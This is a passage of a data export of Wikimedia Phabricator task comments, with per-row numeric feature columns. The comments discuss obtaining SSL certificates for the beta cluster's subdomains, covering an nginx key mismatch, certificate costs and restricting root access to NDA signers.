  SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"")
  failed (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
 nginx: configuration file /etc/nginx/nginx.conf test failed


To fix it we would need a few certificates to be installed on the instances via the role::protoproxy::ssl::beta puppet class in manifests/role/protoproxy.pp

star.wmflabs.org would cover the entries:

 bits.beta.wmflabs.org
 upload.beta.wmflabs.org
 wikidata.beta.wmflabs.org

We would need *.wikimedia.beta.wmflabs.org and *.wikipedia.beta.wmflabs.org certs as well.",,,1397642712,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,0.5,0.0,0.0,0.5,0.0,4.5,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,5.5,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,17.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,6.0,0.5,0.5,4.5,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,2.0,5.5,7.0,0.0,0.5,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,5.499195171026157,0.7731388329979879,"
The beta cluster has for Varnish instances with a Nginx HTTPS proxy installed.  Nginx refuses to start because the star.wmflabs.org certificate is invalid:

root@deployment-cache-bits01:~# /etc/init.d/nginx start
Starting nginx: nginx: [emerg]
  SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"")
  failed (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
 nginx: configuration file /etc/nginx/nginx.conf test failed


To fix it we would need a few certificates to be installed on the instances via the role::protoproxy::ssl::beta puppet class in manifests/role/protoproxy.pp

star.wmflabs.org would cover the entries:

 bits.beta.wmflabs.org
 upload.beta.wmflabs.org
 wikidata.beta.wmflabs.org

We would need *.wikimedia.beta.wmflabs.org and *.wikipedia.beta.wmflabs.org certs as well."
227489,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Greg Grossmeier from comment #84)
> * Setup was(is?) annoying because of the lack of easy way to secure these
> private certs from other non-WMF root labs users.

I thought comment 65 and comment 67 said the ""access to private keys without an NDA"" part was solved.

Antoine said he did the sudo configuration (see comment 67); I'm not sure if it's checked yet.",,,1397014720,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,32,True,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,6.0,0.0,6.0,10.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4838709677419355,0.7580645161290323,"(In reply to Greg Grossmeier from comment #84)
QUOTE
QUOTE

I thought comment 65 and comment 67 said the ""access to private keys without an NDA"" part was solved.

Antoine said he did the sudo configuration (see comment 67); I'm not sure if it's checked yet."
227483,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(Lowering priority and unassigning from self)

Status, afaict:
* Price was annoying, but we've identified the 7 we want (comment 77, comment 79, and comment 83).
* Setup was(is?) annoying because of the lack of easy way to secure these private certs from other non-WMF root labs users.

Marc/RobH: Let me know if I have that wrong and if there's anything else we can do right now.",,,1396547005,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,31,True,0.0,1.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,5.0,1.0,3.0,9.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,10.0,3.0,4.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,5.0,9.0,4.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.4565217391304346,0.75,"(Lowering priority and unassigning from self)

Status, afaict:
* Price was annoying, but we've identified the 7 we want (comment 77, comment 79, and comment 83).
* Setup was(is?) annoying because of the lack of easy way to secure these private certs from other non-WMF root labs users.

Marc/RobH: Let me know if I have that wrong and if there's anything else we can do right now."
227476,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"wikidata.beta.wmflabs.org might be nice, since I know a few gadgets go cross domain to it.

I think the dewiki community also wanted to have de.wikipedia.beta.wmflabs.org, but unless we get a discount for buying them at one time, it would probably be good to wait until we have browser tests running against that wiki.",,,1393026432,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,25,True,2.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,15.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,3.0,3.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,12.0,15.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,4.52542372881356,0.8135593220338984,"wikidata.beta.wmflabs.org might be nice, since I know a few gadgets go cross domain to it.

I think the dewiki community also wanted to have de.wikipedia.beta.wmflabs.org, but unless we get a discount for buying them at one time, it would probably be good to wait until we have browser tests running against that wiki."
227472,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Greg Grossmeier from comment #80)

> 
> For the avoidance of doubt: we're not doing them all, just a subset. SSL
> certs are a racket and expensive.

Oh, missed that above. Makes sense :)",,,1393024173,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3703703703703702,0.8518518518518519,"(In reply to Greg Grossmeier from comment #80)

QUOTE
QUOTE
QUOTE

Oh, missed that above. Makes sense :)"
227467,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Yeah, we can't do all; we can't even reasonably all the necessary wildcards to cover the whole matrix.

I have six now; any more?",,,1393024132,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,9.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.34375,0.8125,"Yeah, we can't do all; we can't even reasonably all the necessary wildcards to cover the whole matrix.

I have six now; any more?"
227461,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Kunal Mehta (Legoktm) from comment #78)
> http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix is the full
> list.

For the avoidance of doubt: we're not doing them all, just a subset. SSL certs are a racket and expensive.",,,1393023963,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,18.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,11.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,3.2954545454545454,0.8636363636363636,"(In reply to Kunal Mehta (Legoktm) from comment #78)
QUOTE
QUOTE

For the avoidance of doubt: we're not doing them all, just a subset. SSL certs are a racket and expensive."
227455,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,http://commons.wikimedia.beta.wmflabs.org/ is important,,,1393023530,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,URL is important
227447,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix is the full list.

There are some weird ones like 'ee-prototype'.",,,1393023457,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,0.8947368421052632,"URL is the full list.

There are some weird ones like 'ee-prototype'."
227440,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"login.wikipedia.beta.wmflabs.org
meta.wikipedia.beta.wmflabs.org
en.wikipedia.beta.wmflabs.org
bits.beta.wmflabs.org
upload.beta.wmflabs.org (for some icons on meta/login)

That's all I can see from the network calls.

Antoine/Chris/Chris: confirm?",,,1393023342,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,10.0,18.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.8205128205128205,"login.wikipedia.beta.wmflabs.org
meta.wikipedia.beta.wmflabs.org
en.wikipedia.beta.wmflabs.org
bits.beta.wmflabs.org
upload.beta.wmflabs.org (for some icons on meta/login)

That's all I can see from the network calls.

Antoine/Chris/Chris: confirm?"
227434,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Because of the necessity to have a default CA sign this, we need to buy individual certificates.  Please provide a definite list of domain names, and I'll get that ball rolling.",,,1393019538,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,25,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,5.0,14.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.972972972972973,0.8648648648648649,"Because of the necessity to have a default CA sign this, we need to buy individual certificates.  Please provide a definite list of domain names, and I'll get that ball rolling."
227427,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I think we do want it, on a limited set of subdomains to keep the cost down.

Beta's:
- loginwiki (so we can check SUL interactions)
- metawiki (so OAuth works correctly and securely)
- another wiki, maybe enwiki? (to catch other SUL login/wgSecureLogin issues)
- Oh, and to make enwiki work, the bits domain would also need a cert",,,1390496204,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,21,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,5.0,9.0,9.0,1.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.419753086419753,0.7283950617283951,"I think we do want it, on a limited set of subdomains to keep the cost down.

Beta's:
- loginwiki (so we can check SUL interactions)
- metawiki (so OAuth works correctly and securely)
- another wiki, maybe enwiki? (to catch other SUL login/wgSecureLogin issues)
- Oh, and to make enwiki work, the bits domain would also need a cert"
227419,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We have stopped running browser tests over https. 

I think we still want SSL for labs, but I don't know of anyone actively working on that right now.",,,1390487679,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,21,True,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,15.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.727272727272727,0.9393939393939394,"We have stopped running browser tests over https. 

I think we still want SSL for labs, but I don't know of anyone actively working on that right now."
227413,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #72)
> Still highest priority.  We want to get that done while I am in SF, hopefully
> this afternoon (PST time).

Sorry, was referring to another bug :-/


Regarding SSL certificates on beta, I am not sure what the status is.  Maybe Greg/Chris would know.  We might have a workaround now or simply stopped running browser tests over HTTPS.",,,1390442784,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,21,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,8.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,20.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,8.0,10.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.6721311475409837,0.8852459016393442,"(In reply to comment #72)
QUOTE
QUOTE

Sorry, was referring to another bug :-/


Regarding SSL certificates on beta, I am not sure what the status is.  Maybe Greg/Chris would know.  We might have a workaround now or simply stopped running browser tests over HTTPS."
227406,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Still highest priority.  We want to get that done while I am in SF, hopefully this afternoon (PST time).",,,1390420537,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,21,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.44,0.96,"Still highest priority.  We want to get that done while I am in SF, hopefully this afternoon (PST time)."
227397,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
Any updates (or should this not be highest priority)?",,,1390406116,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,21,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,7.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,7.0,10.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.7241379310344827,0.9655172413793104,"Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
Any updates (or should this not be highest priority)?"
227388,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Would it be an option to flatten our subdomains?

We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate

(at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)

For example:

* beta.wmflabs.org
* bits.beta.wmflabs.org
* wikimedia.beta.wmflabs.org
* commons-wikimedia.beta.wmflabs.org
* wikipedia.beta.wmflabs.org
* en-wikipedia.beta.wmflabs.org
* nl-wikibooks.beta.wmflabs.org
* en-m-wikibooks.beta.wmflabs.org
* en-m-wikinews.beta.wmflabs.org",,,1387423868,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,5.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,4.0,8.0,15.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.094594594594595,0.6756756756756757,"Would it be an option to flatten our subdomains?

We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate

(at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)

For example:

* beta.wmflabs.org
* bits.beta.wmflabs.org
* wikimedia.beta.wmflabs.org
* commons-wikimedia.beta.wmflabs.org
* wikipedia.beta.wmflabs.org
* en-wikipedia.beta.wmflabs.org
* nl-wikibooks.beta.wmflabs.org
* en-m-wikibooks.beta.wmflabs.org
* en-m-wikinews.beta.wmflabs.org"
227379,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Reason in comment 16 is past (testing of new default HTTPS access), but warning message in Selenium probably still justifies highest prio? (for four months now)

(In reply to comment #68)
> The related ticket is https://rt.wikimedia.org/Ticket/Display.html?id=6116

To summarize the RT ticket: Prices offered by SSL vendors felt out of scope.

Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
Any updates?",,,1387200913,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,15,True,1.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,5.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,16.0,1.0,2.0,2.0,0.0,0.0,0.0,1.0,5.0,0.0,4.0,0.0,1.0,15.0,10.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.765432098765432,0.7901234567901234,"Reason in comment 16 is past (testing of new default HTTPS access), but warning message in Selenium probably still justifies highest prio? (for four months now)

(In reply to comment #68)
QUOTE

To summarize the RT ticket: Prices offered by SSL vendors felt out of scope.

Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
Any updates?"
227373,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Buying certs is pending approval according to RobH a few days ago.  The related ticket is https://rt.wikimedia.org/Ticket/Display.html?id=6116,,,1384430488,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,11,True,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,4.052631578947368,0.9473684210526315,Buying certs is pending approval according to RobH a few days ago.  The related ticket is URL
227370,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
I have cleaned up permissions on the deployment-prep labs project (ie: beta cluster).

The project admins are now limited to people from the Wikimedia ops and mw-core teams.

Root access has been limited to people having signed a non disclosure agreement with Wikimedia.


The reason for this change is to let us put real SSL certificates on the Varnish caches which would let us support HTTPS on the beta cluster.  We want to keep access to the certificates restricted, hence the change.


Please review the list of admins and sudo policy for the deployment-prep project on:

https://wikitech.wikimedia.org/wiki/Special:NovaProject
https://wikitech.wikimedia.org/wiki/Special:NovaSudoer",,,1383836540,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,1.0,0.0,4.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,10.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,18.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,7.5,2.0,8.5,0.0,1.5,8.5,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,0.5,1.5,0.5,0.0,0.0,0.5,4.049180327868852,0.7868852459016393,"
I have cleaned up permissions on the deployment-prep labs project (ie: beta cluster).

The project admins are now limited to people from the Wikimedia ops and mw-core teams.

Root access has been limited to people having signed a non disclosure agreement with Wikimedia.


The reason for this change is to let us put real SSL certificates on the Varnish caches which would let us support HTTPS on the beta cluster.  We want to keep access to the certificates restricted, hence the change.


Please review the list of admins and sudo policy for the deployment-prep project on:

URL
URL"
227365,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"> 1. Remove projectadmin permissions from volunteers

I also just removed TheDJ since he didn't have an NDA on file and he didn't respond to my email asking if he wanted to sign one.

> 2. Clean up sudo policies to disallow root on varnish systems (that will have
> real certs)

